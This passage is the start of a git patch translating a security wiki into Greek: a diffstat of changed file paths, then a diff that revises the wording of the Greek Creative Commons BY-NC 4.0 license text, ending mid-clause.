From 91987d3a2838c67daa6a41e7c6688b002a83d57c Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 13:05:14 +0000 Subject: [PATCH] Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md --- src/LICENSE.md | 46 +- src/README.md | 10 +- src/SUMMARY.md | 1 + src/android-forensics.md | 6 +- src/backdoors/icmpsh.md | 18 +- src/backdoors/salseo.md | 110 +- src/banners/hacktricks-training.md | 12 +- .../arbitrary-write-2-exec/README.md | 4 +- .../aw2exec-__malloc_hook.md | 48 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 62 +- .../www2exec-.dtors-and-.fini_array.md | 38 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 280 +- src/binary-exploitation/array-indexing.md | 12 +- .../README.md | 138 +- .../elf-tricks.md | 416 ++- .../tools/README.md | 128 +- .../tools/pwntools.md | 126 +- .../README.md | 26 +- .../aslr/README.md | 220 +- .../aslr/ret2plt.md | 56 +- .../aslr/ret2ret.md | 20 +- .../cet-and-shadow-stack.md | 16 +- .../libc-protections.md | 62 +- .../memory-tagging-extension-mte.md | 60 +- .../no-exec-nx.md | 10 +- .../pie/README.md | 18 +- .../pie/bypassing-canary-and-pie.md | 82 +- .../relro.md | 20 +- .../stack-canaries/README.md | 54 +- .../bf-forked-stack-canaries.md | 122 +- .../stack-canaries/print-stack-canary.md | 24 +- .../common-exploiting-problems.md | 18 +- .../format-strings/README.md | 163 +- .../format-strings-arbitrary-read-example.md | 144 +- .../format-strings/format-strings-template.md | 92 +- src/binary-exploitation/integer-overflow.md | 110 +- src/binary-exploitation/ios-exploiting.md | 257 +- src/binary-exploitation/libc-heap/README.md | 438 ++- .../libc-heap/bins-and-memory-allocations.md | 528 ++-- .../libc-heap/double-free.md | 160 +- .../libc-heap/fast-bin-attack.md | 150 +- .../libc-heap/heap-memory-functions/README.md | 2 +- .../libc-heap/heap-memory-functions/free.md | 484 ++-- .../heap-functions-security-checks.md | 220 +- .../malloc-and-sysmalloc.md | 2454 ++++++++--------- .../libc-heap/heap-memory-functions/unlink.md | 102 +- .../libc-heap/heap-overflow.md | 34 +- .../libc-heap/house-of-einherjar.md | 48 +- .../libc-heap/house-of-force.md | 58 +- .../libc-heap/house-of-lore.md | 42 +- .../libc-heap/house-of-orange.md | 66 +- .../libc-heap/house-of-rabbit.md | 78 +- .../libc-heap/house-of-roman.md | 88 +- .../libc-heap/house-of-spirit.md | 114 +- .../libc-heap/large-bin-attack.md | 56 +- .../libc-heap/off-by-one-overflow.md | 144 +- .../libc-heap/overwriting-a-freed-chunk.md | 20 +- .../libc-heap/tcache-bin-attack.md | 42 +- .../libc-heap/unlink-attack.md | 144 +- .../libc-heap/unsorted-bin-attack.md | 84 +- .../libc-heap/use-after-free/README.md | 14 +- .../libc-heap/use-after-free/first-fit.md | 42 +- .../rop-return-oriented-programing/README.md | 128 +- .../brop-blind-return-oriented-programming.md | 108 +- .../rop-return-oriented-programing/ret2csu.md | 78 +- .../ret2dlresolve.md | 44 +- .../ret2esp-ret2reg.md | 86 +- .../ret2lib/README.md | 106 +- .../ret2lib/one-gadget.md | 18 +- .../ret2lib/ret2lib-+-printf-leak-arm64.md | 124 +- .../rop-leaking-libc-address/README.md | 238 +- .../rop-leaking-libc-template.md | 208 +- .../ret2vdso.md | 14 +- .../rop-syscall-execv/README.md | 56 +- .../rop-syscall-execv/ret2syscall-arm64.md | 54 +- .../README.md | 38 +- .../srop-arm64.md | 84 +- .../stack-overflow/README.md | 62 +- .../stack-overflow/pointer-redirecting.md | 20 +- .../stack-overflow/ret2win/README.md | 76 +- .../stack-overflow/ret2win/ret2win-arm64.md | 74 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 160 +- .../stack-overflow/stack-shellcode/README.md | 56 +- .../stack-shellcode/stack-shellcode-arm64.md | 32 +- .../stack-overflow/uninitialized-variables.md | 68 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 144 +- .../README.md | 180 +- src/burp-suite.md | 6 +- .../blockchain-and-crypto-currencies.md | 180 +- src/crypto-and-stego/certificates.md | 202 +- .../cipher-block-chaining-cbc-mac-priv.md | 36 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 140 +- .../cryptographic-algorithms/README.md | 142 +- .../unpacking-binaries.md | 34 +- .../electronic-code-book-ecb.md | 68 +- src/crypto-and-stego/esoteric-languages.md | 10 +- .../hash-length-extension-attack.md | 40 +- src/crypto-and-stego/padding-oracle-priv.md | 75 +- .../rc4-encrypt-and-decrypt.md | 4 +- src/crypto-and-stego/stego-tricks.md | 140 +- src/cryptography/certificates.md | 184 +- .../cipher-block-chaining-cbc-mac-priv.md | 36 +- src/cryptography/crypto-ctfs-tricks.md | 140 +- src/cryptography/electronic-code-book-ecb.md | 68 +- .../hash-length-extension-attack.md | 40 +- src/cryptography/padding-oracle-priv.md | 76 +- src/cryptography/rc4-encrypt-and-decrypt.md | 4 +- src/emails-vulns.md | 3 +- .../linux-exploiting-basic-esp/README.md | 386 ++- .../linux-exploiting-basic-esp/fusion.md | 10 +- src/exploiting/tools/README.md | 122 +- src/exploiting/tools/pwntools.md | 126 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 144 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 154 +- .../docker-forensics.md | 74 +- .../file-integrity-monitoring.md | 20 +- .../linux-forensics.md | 352 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../partitions-file-systems-carving/README.md | 234 +- .../file-data-carving-recovery-tools.md | 64 +- .../file-data-carving-tools.md | 43 +- .../pcap-inspection/README.md | 108 +- .../usb-keyboard-pcap-analysis.md | 8 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 24 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 164 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 107 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 24 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 472 ++-- .../interesting-windows-registry-keys.md | 98 +- .../windows-forensics/windows-processes.md | 96 +- src/generic-hacking/brute-force.md | 354 +-- src/generic-hacking/exfiltration.md | 128 +- src/generic-hacking/reverse-shells/README.md | 2 +- .../expose-local-to-the-internet.md | 32 +- .../reverse-shells/full-ttys.md | 48 +- src/generic-hacking/reverse-shells/linux.md | 222 +- .../reverse-shells/msfvenom.md | 104 +- src/generic-hacking/reverse-shells/windows.md | 292 +- src/generic-hacking/search-exploits.md | 41 +- .../tunneling-and-port-forwarding.md | 308 +-- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 148 +- .../docker-forensics.md | 75 +- .../file-integrity-monitoring.md | 20 +- .../image-acquisition-and-mount.md | 43 +- .../linux-forensics.md | 358 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../volatility-cheatsheet.md | 336 +-- .../partitions-file-systems-carving/README.md | 234 +- .../file-data-carving-recovery-tools.md | 64 +- .../pcap-inspection/README.md | 112 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../suricata-and-iptables-cheatsheet.md | 114 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 24 +- .../pcap-inspection/wireshark-tricks.md | 74 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 163 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 107 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 12 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 466 ++-- .../interesting-windows-registry-keys.md | 98 +- .../external-recon-methodology/README.md | 514 ++-- .../github-leaked-secrets.md | 11 +- .../wide-source-code-search.md | 16 +- .../pentesting-methodology.md | 140 +- .../pentesting-network/README.md | 530 ++-- .../pentesting-network/dhcpv6.md | 36 +- .../pentesting-network/eigrp-attacks.md | 86 +- .../glbp-and-hsrp-attacks.md | 138 +- .../pentesting-network/ids-evasion.md | 36 +- .../lateral-vlan-segmentation-bypass.md | 36 +- .../network-protocols-explained-esp.md | 36 +- .../pentesting-network/nmap-summary-esp.md | 257 +- .../pentesting-network/pentesting-ipv6.md | 114 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 94 +- .../spoofing-ssdp-and-upnp-devices.md | 18 +- .../pentesting-network/webrtc-dos.md | 36 +- .../pentesting-wifi/README.md | 611 ++-- .../pentesting-wifi/evil-twin-eap-tls.md | 56 +- .../phishing-methodology/README.md | 342 ++- .../phishing-methodology/clone-a-website.md | 22 +- .../phishing-methodology/detecting-phising.md | 64 +- .../phishing-documents.md | 158 +- .../python/README.md | 18 +- .../python/basic-python.md | 270 +- .../python/bruteforce-hash-few-chars.md | 52 +- .../python/bypass-python-sandboxes/README.md | 726 +++-- .../load_name-load_const-opcode-oob-read.md | 220 +- ...s-pollution-pythons-prototype-pollution.md | 208 +- .../python/pyscript.md | 210 +- .../python/python-internal-read-gadgets.md | 26 +- .../python/venv.md | 18 - .../python/web-requests.md | 71 +- .../threat-modeling.md | 38 +- .../escaping-from-gui-applications.md | 318 +-- .../firmware-analysis/README.md | 216 +- .../firmware-analysis/bootloader-testing.md | 62 +- .../firmware-analysis/firmware-integrity.md | 38 +- .../physical-attacks.md | 54 +- src/interesting-http.md | 21 +- .../bypass-bash-restrictions/README.md | 96 +- .../README.md | 91 +- .../ddexec.md | 72 +- src/linux-hardening/freeipa-pentesting.md | 96 +- .../linux-environment-variables.md | 88 +- .../linux-post-exploitation/README.md | 42 +- .../pam-pluggable-authentication-modules.md | 40 +- .../linux-privilege-escalation-checklist.md | 212 +- .../privilege-escalation/README.md | 128 +- .../privilege-escalation/cisco-vmanage.md | 48 +- .../containerd-ctr-privilege-escalation.md | 22 +- ...-command-injection-privilege-escalation.md | 456 ++- .../docker-security/README.md | 56 +- ...-docker-socket-for-privilege-escalation.md | 20 +- .../docker-security/apparmor.md | 22 +- ...uthn-docker-access-authorization-plugin.md | 24 +- .../docker-security/cgroups.md | 22 +- .../README.md | 44 +- .../docker-release_agent-cgroups-escape.md | 10 +- .../sensitive-mounts.md | 161 +- .../docker-security/docker-privileged.md | 20 +- .../namespaces/cgroup-namespace.md | 6 +- .../namespaces/ipc-namespace.md | 6 +- .../namespaces/mount-namespace.md | 8 +- .../namespaces/network-namespace.md | 6 +- .../namespaces/pid-namespace.md | 10 +- .../namespaces/time-namespace.md | 8 +- .../namespaces/user-namespace.md | 16 +- .../namespaces/uts-namespace.md | 22 +- .../docker-security/seccomp.md | 2 +- .../electron-cef-chromium-debugger-abuse.md | 110 +- .../escaping-from-limited-bash.md | 164 +- .../privilege-escalation/euid-ruid-suid.md | 192 +- .../interesting-groups-linux-pe/README.md | 6 +- .../lxd-privilege-escalation.md | 2 +- .../ld.so.conf-example.md | 13 +- .../linux-active-directory.md | 6 +- .../linux-capabilities.md | 104 +- .../privilege-escalation/logstash.md | 6 +- .../nfs-no_root_squash-misconfiguration-pe.md | 24 +- .../payloads-to-execute.md | 4 +- .../runc-privilege-escalation.md | 4 +- .../privilege-escalation/selinux.md | 2 +- .../socket-command-injection.md | 2 +- .../splunk-lpe-and-persistence.md | 2 +- .../ssh-forward-agent-exploitation.md | 4 +- .../wildcards-spare-tricks.md | 4 +- .../privilege-escalation/write-to-root.md | 2 +- src/linux-hardening/useful-linux-commands.md | 50 +- .../bypass-bash-restrictions.md | 2 +- .../interesting-groups-linux-pe.md | 20 +- .../macos-auto-start-locations.md | 142 +- .../macos-red-teaming/README.md | 20 +- .../macos-red-teaming/macos-keychain.md | 32 +- .../macos-red-teaming/macos-mdm/README.md | 38 +- ...nrolling-devices-in-other-organisations.md | 10 +- .../macos-mdm/macos-serial-number.md | 2 +- .../README.md | 42 +- .../macos-function-hooking.md | 8 +- .../mac-os-architecture/macos-iokit.md | 12 +- .../macos-applefs.md | 8 +- .../macos-basic-objective-c.md | 4 +- .../macos-bypassing-firewalls.md | 24 +- .../macos-defensive-apps.md | 2 +- ...yld-hijacking-and-dyld_insert_libraries.md | 8 +- .../macos-file-extension-apps.md | 4 +- .../macos-gcd-grand-central-dispatch.md | 8 +- .../macos-privilege-escalation.md | 12 +- .../macos-protocols.md | 18 +- .../macos-users.md | 4 +- src/online-platforms-with-api.md | 75 +- src/other-web-tricks.md | 42 +- src/pentesting-dns.md | 6 +- .../hacking-jwt-json-web-tokens.md | 38 +- src/post-exploitation.md | 18 +- ...itive-information-disclosure-from-a-web.md | 14 +- 294 files changed, 12896 insertions(+), 16475 deletions(-) diff --git a/src/LICENSE.md b/src/LICENSE.md index 8d4267a0d..84586d5f9 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -1,15 +1,15 @@ {{#include ./banners/hacktricks-training.md}} -Creative Commons License
Πνευματικά δικαιώματα © Carlos Polop 2021. Εκτός αν ορίζεται διαφορετικά (οι εξωτερικές πληροφορίες που αντιγράφηκαν στο βιβλίο ανήκουν στους αρχικούς συγγραφείς), το κείμενο στο HACK TRICKS από τον Carlos Polop είναι αδειοδοτημένο υπό την Δημιουργική Κοινότητα Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). +Creative Commons License
Πνευματικά δικαιώματα © Carlos Polop 2021. Εκτός αν ορίζεται διαφορετικά (οι εξωτερικές πληροφορίες που αντιγράφηκαν στο βιβλίο ανήκουν στους αρχικούς συγγραφείς), το κείμενο στο HACK TRICKS από τον Carlos Polop είναι αδειοδοτημένο υπό την Δημιουργική Κοινότητα Αναφορά-Μη Εμπορική 4.0 Διεθνής (CC BY-NC 4.0). -Άδεια: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
-Αναγνώσιμη Άδεια: https://creativecommons.org/licenses/by-nc/4.0/
+Άδεια: Αναφορά-Μη Εμπορική 4.0 Διεθνής (CC BY-NC 4.0)
+Ανθρώπινα Αναγνώσιμη Άδεια: https://creativecommons.org/licenses/by-nc/4.0/
Πλήρεις Νομικοί Όροι: https://creativecommons.org/licenses/by-nc/4.0/legalcode
Μορφοποίηση: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
-# creative commons +# δημιουργική κοινότητα -# Attribution-NonCommercial 4.0 International +# Αναφορά-Μη Εμπορική 4.0 Διεθνής Η Creative Commons Corporation (“Creative Commons”) δεν είναι δικηγορική εταιρεία και δεν παρέχει νομικές υπηρεσίες ή νομικές συμβουλές. Η διανομή των δημόσιων αδειών Creative Commons δεν δημιουργεί σχέση δικηγόρου-πελάτη ή άλλη σχέση. Η Creative Commons παρέχει τις άδειές της και τις σχετικές πληροφορίες σε βάση “ως έχει”. Η Creative Commons δεν παρέχει καμία εγγύηση σχετικά με τις άδειές της, οποιοδήποτε υλικό αδειοδοτημένο υπό τους όρους και τις προϋποθέσεις τους, ή οποιαδήποτε σχετική πληροφορία. Η Creative Commons αποποιείται κάθε ευθύνη για ζημίες που προκύπτουν από τη χρήση τους στο μέγιστο δυνατό βαθμό. @@ -17,13 +17,13 @@ Οι δημόσιες άδειες Creative Commons παρέχουν ένα τυπικό σύνολο όρων και προϋποθέσεων που οι δημιουργοί και άλλοι κάτοχοι δικαιωμάτων μπορούν να χρησιμοποιήσουν για να μοιραστούν πρωτότυπα έργα συγγραφής και άλλο υλικό που υπόκειται σε πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που καθορίζονται στην παρακάτω δημόσια άδεια. Οι παρακάτω παρατηρήσεις είναι μόνο για ενημερωτικούς σκοπούς, δεν είναι εξαντλητικές και δεν αποτελούν μέρος των αδειών μας. -- **Σκέψεις για τους αδειοδότες:** Οι δημόσιες άδειές μας προορίζονται για χρήση από εκείνους που είναι εξουσιοδοτημένοι να δίνουν στο κοινό άδεια να χρησιμοποιεί υλικό με τρόπους που περιορίζονται από πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα. Οι άδειές μας είναι αμετάκλητες. Οι αδειοδότες θα πρέπει να διαβάσουν και να κατανοήσουν τους όρους και τις προϋποθέσεις της άδειας που επιλέγουν πριν την εφαρμόσουν. Οι αδειοδότες θα πρέπει επίσης να εξασφαλίσουν όλα τα απαραίτητα δικαιώματα πριν εφαρμόσουν τις άδειές μας ώστε το κοινό να μπορεί να επαναχρησιμοποιήσει το υλικό όπως αναμένεται. Οι αδειοδότες θα πρέπει να επισημαίνουν σαφώς οποιοδήποτε υλικό δεν υπόκειται στην άδεια. Αυτό περιλαμβάνει άλλο υλικό που έχει άδεια CC ή υλικό που χρησιμοποιείται υπό εξαίρεση ή περιορισμό στα πνευματικά δικαιώματα. [Περισσότερες σκέψεις για τους αδειοδότες](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +- **Παρατηρήσεις για τους αδειοδότες:** Οι δημόσιες άδειές μας προορίζονται για χρήση από εκείνους που είναι εξουσιοδοτημένοι να δίνουν στο κοινό άδεια να χρησιμοποιεί υλικό με τρόπους που περιορίζονται από πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα. Οι άδειές μας είναι αμετάκλητες. Οι αδειοδότες θα πρέπει να διαβάσουν και να κατανοήσουν τους όρους και τις προϋποθέσεις της άδειας που επιλέγουν πριν την εφαρμόσουν. Οι αδειοδότες θα πρέπει επίσης να εξασφαλίσουν όλα τα απαραίτητα δικαιώματα πριν εφαρμόσουν τις άδειές μας ώστε το κοινό να μπορεί να επαναχρησιμοποιήσει το υλικό όπως αναμένεται. Οι αδειοδότες θα πρέπει να επισημαίνουν σαφώς οποιοδήποτε υλικό δεν υπόκειται στην άδεια. Αυτό περιλαμβάνει άλλο υλικό που έχει άδεια CC ή υλικό που χρησιμοποιείται υπό εξαίρεση ή περιορισμό στα πνευματικά δικαιώματα. [Περισσότερες παρατηρήσεις για τους αδειοδότες](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). -- **Σκέψεις για το κοινό:** Χρησιμοποιώντας μία από τις δημόσιες άδειές μας, ένας αδειοδότης παραχωρεί στο κοινό άδεια να χρησιμοποιεί το αδειοδοτημένο υλικό υπό καθορισμένους όρους και προϋποθέσεις. Εάν η άδεια του αδειοδότη δεν είναι απαραίτητη για οποιονδήποτε λόγο – για παράδειγμα, λόγω οποιασδήποτε εφαρμοστέας εξαίρεσης ή περιορισμού στα πνευματικά δικαιώματα – τότε αυτή η χρήση δεν ρυθμίζεται από την άδεια. Οι άδειές μας παρέχουν μόνο άδειες υπό πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που έχει εξουσία να παραχωρήσει ο αδειοδότης. Η χρήση του αδειοδοτημένου υλικού μπορεί να περιορίζεται για άλλους λόγους, συμπεριλαμβανομένου του ότι άλλοι έχουν πνευματικά δικαιώματα ή άλλα δικαιώματα στο υλικό. Ένας αδειοδότης μπορεί να κάνει ειδικά αιτήματα, όπως να ζητήσει να επισημανθούν ή να περιγραφούν όλες οι αλλαγές. Αν και δεν απαιτείται από τις άδειές μας, σας ενθαρρύνουμε να σεβαστείτε αυτά τα αιτήματα όπου είναι λογικό. [Περισσότερες σκέψεις για το κοινό](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +- **Παρατηρήσεις για το κοινό:** Χρησιμοποιώντας μία από τις δημόσιες άδειές μας, ένας αδειοδότης παραχωρεί στο κοινό άδεια να χρησιμοποιεί το αδειοδοτημένο υλικό υπό καθορισμένους όρους και προϋποθέσεις. Εάν η άδεια του αδειοδότη δεν είναι απαραίτητη για οποιονδήποτε λόγο – για παράδειγμα, λόγω οποιασδήποτε εφαρμοστέας εξαίρεσης ή περιορισμού στα πνευματικά δικαιώματα – τότε αυτή η χρήση δεν ρυθμίζεται από την άδεια. Οι άδειές μας παρέχουν μόνο άδειες υπό πνευματικά δικαιώματα και ορισμένα άλλα δικαιώματα που έχει εξουσία να παραχωρήσει ο αδειοδότης. Η χρήση του αδειοδοτημένου υλικού μπορεί να περιορίζεται για άλλους λόγους, συμπεριλαμβανομένου του ότι άλλοι έχουν πνευματικά δικαιώματα ή άλλα δικαιώματα στο υλικό. Ένας αδειοδότης μπορεί να κάνει ειδικά αιτήματα, όπως να ζητήσει να επισημανθούν ή να περιγραφούν όλες οι αλλαγές. Αν και δεν απαιτείται από τις άδειές μας, σας ενθαρρύνουμε να σεβαστείτε αυτά τα αιτήματα όπου είναι λογικό. [Περισσότερες παρατηρήσεις για το κοινό](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). -# Δημόσια Άδεια Creative Commons Attribution-NonCommercial 4.0 International +# Δημόσια Άδεια Creative Commons Αναφορά-Μη Εμπορική 4.0 Διεθνής -Ασκώντας τα Δικαιώματα που Αδειοδοτούνται (ορισμένα παρακάτω), αποδέχεστε και συμφωνείτε να δεσμεύεστε από τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας Creative Commons Attribution-NonCommercial 4.0 International ("Δημόσια Άδεια"). Στο βαθμό που αυτή η Δημόσια Άδεια μπορεί να ερμηνευθεί ως σύμβαση, σας παραχωρούνται τα Δικαιώματα που Αδειοδοτούνται σε αντάλλαγμα της αποδοχής σας αυτών των όρων και προϋποθέσεων, και ο Αδειοδότης σας παραχωρεί τέτοια δικαιώματα σε αντάλλαγμα των οφελών που λαμβάνει από την παροχή του Αδειοδοτημένου Υλικού υπό αυτούς τους όρους και προϋποθέσεις. +Ασκώντας τα Δικαιώματα που Αδειοδοτούνται (ορισμένα παρακάτω), αποδέχεστε και συμφωνείτε να δεσμεύεστε από τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας Creative Commons Αναφορά-Μη Εμπορική 4.0 Διεθνής ("Δημόσια Άδεια"). Στο βαθμό που αυτή η Δημόσια Άδεια μπορεί να ερμηνευθεί ως σύμβαση, σας παραχωρούνται τα Δικαιώματα που Αδειοδοτούνται σε αντάλλαγμα της αποδοχής σας αυτών των όρων και προϋποθέσεων, και ο Αδειοδότης σας παραχωρεί τέτοια δικαιώματα σε αντάλλαγμα των ωφελειών που λαμβάνει από την παροχή του Αδειοδοτημένου Υλικού υπό αυτούς τους όρους και προϋποθέσεις. ## Τμήμα 1 – Ορισμοί. @@ -31,7 +31,7 @@ a. **Προσαρμοσμένο Υλικό** σημαίνει υλικό που b. **Άδεια Προσαρμοστή** σημαίνει την άδεια που εφαρμόζετε στα Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα στις συνεισφορές σας στο Προσαρμοσμένο Υλικό σύμφωνα με τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας. -c. **Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα** σημαίνει πνευματικά δικαιώματα και/ή παρόμοια δικαιώματα που σχετίζονται στενά με τα πνευματικά δικαιώματα, συμπεριλαμβανομένων, χωρίς περιορισμό, εκτέλεσης, μετάδοσης, ηχογράφησης και Δικαιωμάτων Βάσης Δεδομένων Sui Generis, χωρίς να λαμβάνεται υπόψη πώς τα δικαιώματα ονομάζονται ή κατηγοριοποιούνται. Για τους σκοπούς αυτής της Δημόσιας Άδειας, τα δικαιώματα που καθορίζονται στο Τμήμα 2(b)(1)-(2) δεν είναι Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα. +c. **Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα** σημαίνει πνευματικά δικαιώματα και/ή παρόμοια δικαιώματα που σχετίζονται στενά με πνευματικά δικαιώματα, συμπεριλαμβανομένων, χωρίς περιορισμό, εκτέλεσης, μετάδοσης, ηχογράφησης και Δικαιωμάτων Βάσης Δεδομένων Sui Generis, χωρίς να λαμβάνεται υπόψη πώς τα δικαιώματα ονομάζονται ή κατηγοριοποιούνται. Για τους σκοπούς αυτής της Δημόσιας Άδειας, τα δικαιώματα που καθορίζονται στο Τμήμα 2(b)(1)-(2) δεν είναι Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα. d. **Αποτελεσματικά Τεχνολογικά Μέτρα** σημαίνει τα μέτρα που, απουσία κατάλληλης εξουσίας, δεν μπορούν να παρακαμφθούν σύμφωνα με νόμους που εκπληρώνουν υποχρεώσεις σύμφωνα με το Άρθρο 11 της Συνθήκης Πνευματικών Δικαιωμάτων WIPO που υιοθετήθηκε στις 20 Δεκεμβρίου 1996, και/ή παρόμοιες διεθνείς συμφωνίες. @@ -41,7 +41,7 @@ f. **Αδειοδοτημένο Υλικό** σημαίνει το καλλιτ g. **Δικαιώματα που Αδειοδοτούνται** σημαίνει τα δικαιώματα που σας παραχωρούνται υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, τα οποία περιορίζονται σε όλα τα Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα που ισχύουν για τη χρήση σας του Αδειοδοτημένου Υλικού και που ο Αδειοδότης έχει εξουσία να αδειοδοτήσει. -h. **Αδειοδότης** σημαίνει το άτομο ή τα άτομα ή ο φορέας που παραχωρεί δικαιώματα υπό αυτή τη Δημόσια Άδεια. +h. **Αδειοδότης** σημαίνει το άτομο ή τα άτομα ή οντότητες που παραχωρούν δικαιώματα υπό αυτή τη Δημόσια Άδεια. i. **Μη Εμπορικό** σημαίνει ότι δεν προορίζεται κυρίως για ή δεν κατευθύνεται προς εμπορικό όφελος ή χρηματική αποζημίωση. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η ανταλλαγή του Αδειοδοτημένου Υλικού για άλλο υλικό που υπόκειται σε Πνευματικά Δικαιώματα και Παρόμοια Δικαιώματα μέσω ψηφιακής ανταλλαγής αρχείων ή παρόμοιων μέσων είναι Μη Εμπορική εφόσον δεν υπάρχει πληρωμή χρηματικής αποζημίωσης σε σχέση με την ανταλλαγή. @@ -49,13 +49,13 @@ j. **Μοιράζομαι** σημαίνει να παρέχω υλικό στο k. **Δικαιώματα Βάσης Δεδομένων Sui Generis** σημαίνει δικαιώματα εκτός από πνευματικά δικαιώματα που προκύπτουν από την Οδηγία 96/9/ΕΚ του Ευρωπαϊκού Κοινοβουλίου και του Συμβουλίου της 11ης Μαρτίου 1996 σχετικά με τη νομική προστασία των βάσεων δεδομένων, όπως έχει τροποποιηθεί και/ή διαδεχθεί, καθώς και άλλα ουσιαστικά ισοδύναμα δικαιώματα οπουδήποτε στον κόσμο. -l. **Εσείς** σημαίνει το άτομο ή ο φορέας που ασκεί τα Δικαιώματα που Αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια. Το "σας" έχει αντίστοιχη σημασία. +l. **Εσείς** σημαίνει το άτομο ή την οντότητα που ασκεί τα Δικαιώματα που Αδειοδοτούνται υπό αυτή τη Δημόσια Άδεια. Το "σας" έχει αντίστοιχη σημασία. ## Τμήμα 2 – Πεδίο εφαρμογής. a. **_Παραχώρηση άδειας._** -1. Υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, ο Αδειοδότης σας παραχωρεί παγκόσμια, χωρίς δικαιώματα, μη υποαδειοδοτούμενη, μη αποκλειστική, αμετάκλητη άδεια να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται στο Αδειοδοτημένο Υλικό για: +1. Υπό τους όρους και τις προϋποθέσεις αυτής της Δημόσιας Άδειας, ο Αδειοδότης σας παραχωρεί παγκόσμια, χωρίς δικαιώματα, μη μεταβιβάσιμη, μη αποκλειστική, αμετάκλητη άδεια να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται στο Αδειοδοτημένο Υλικό για: A. αναπαραγωγή και Μοιρασιά του Αδειοδοτημένου Υλικού, εν όλω ή εν μέρει, μόνο για Μη Εμπορικούς σκοπούς; και @@ -64,18 +64,18 @@ B. παραγωγή, αναπαραγωγή και Μοιρασιά Προσαρ 2. **Εξαιρέσεις και Περιορισμοί.** Για την αποφυγή αμφιβολιών, όπου ισχύουν Εξαιρέσεις και Περιορισμοί για τη χρήση σας, αυτή η Δημόσια Άδεια δεν ισχύει, και δεν χρειάζεται να συμμορφωθείτε με τους όρους και τις προϋποθέσεις της. 3. **Διάρκεια.** Η διάρκεια αυτής της Δημόσιας Άδειας καθορίζεται στο Τμήμα 6(a). -4. **Μέσα και μορφές; επιτρέπονται τεχνικές τροποποιήσεις.** Ο Αδειοδότης σας εξουσιοδοτεί να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται σε όλα τα μέσα και τις μορφές, είτε είναι γνωστά τώρα είτε δημιουργηθούν αργότερα, και να κάνετε τις τεχνικές τροποποιήσεις που είναι απαραίτητες για να το κάνετε αυτό. Ο Αδειοδότης παραιτείται και/ή συμφωνεί να μην ισχυριστεί κανένα δικαίωμα ή εξουσία να σας απαγορεύσει να κάνετε τεχνικές τροποποιήσεις που είναι απαραίτητες για να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται, συμπεριλαμβανομένων των τεχνικών τροποποιήσεων που είναι απαραίτητες για να παρακαμφθούν τα Αποτελεσματικά Τεχνολογικά Μέτρα. Για τους σκοπούς αυτής της Δημόσιας Άδειας, η απλή πραγματοποίηση τροποποιήσεων που επιτρέπονται από αυτό το Τμήμα 2(a)(4) δεν παράγει ποτέ Προσαρμοσμένο Υλικό. +4. **Μέσα και μορφές; επιτρέπονται τεχνικές τροποποιήσεις.** Ο Αδειοδότης σας εξουσιοδοτεί να ασκήσετε τα Δικαιώματα που Αδειοδοτούνται σε όλα τα μέσα και τις μορφές, είτε είναι γνωστά τώρα είτε δημιουργηθούν στο μέλλον, και να κάνετε τις τεχνικές τροποποιήσεις που είναι απαραίτητες για να το κάνετε αυτό. Ο 